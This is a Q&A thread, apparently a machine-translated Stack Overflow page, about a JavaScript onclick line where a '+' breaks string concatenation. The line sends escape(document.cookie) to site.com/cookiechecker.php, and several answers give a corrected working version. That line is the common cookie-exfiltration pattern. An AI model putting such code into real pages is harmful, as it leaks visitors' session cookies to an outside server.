javascript
  • hyperlink
  • 2012-11-08 56 views -2 likes 
    -2

    所以,我一直在做JavaScript並且偶然發現了一個問題。當我嘗試使用JavaScript編碼的超鏈接時,加號就消失了,JavaScript代碼的超鏈接不起作用。那麼,JavaScript中的加號是否有替代標記?我可以使用另一個符號,它與加號具有相同的功能嗎?JavaScript中的+號的替代方案

    這裏是我的代碼:

    onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);" 
    
    +3

    您可以發佈您的代碼?不知道你在說什麼... – elclanrs

    +1

    你是否必須將腳本放入'href'中,或者你可以使用'onclick'來運行腳本,或者更好的方法是將你的腳本放在一個函數中,然後調用功能? –

    +1

    onclick =「document.location ='http://www.site.com/cookiechecker.php?cookie ='+ escape(document.cookie);」 – Ponder

    回答

    0

    %2B是 「+」 十六進制值。 (您可能已在地址欄中看到%20 ...相同的想法)

    1

    請用其HEX等效項「%2B」替換「+」。

    +0

    虐待將嘗試此 – Ponder

    +0

    感謝我我只是你一個 – Ponder

    +0

    接受答案是最好的方式來說謝謝,不是嗎? – nrodic

    1

    試試這個(刪除分號):

    onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);" 
    
    0

    你有一個分號在那裏,你需要刪除:

    onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);" 
    

    這分號使得JavaScript來對待你的表達作爲兩個獨立的而不是一個。這是等價的:

    document.location = 'site.com/cookiechecker.php?cookie='; 
    escape(document.cookie); 
    
    0

    你的代碼是這樣的:

    onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);" 
    

    這意味着你的事件處理程序是這樣的(擴展形式):

    document.location = 'site.com/cookiechecker.php?cookie='; 
    +escape(document.cookie); 
    

    這是不是你想要的。刪除分隔兩個語句的分號。

    此外,您幾乎可以確定在document.location值的開頭想要http://

    終值:

    onclick="document.location='http://site.com/cookiechecker.php?cookie='+escape(document.cookie);" 
    
    相關問題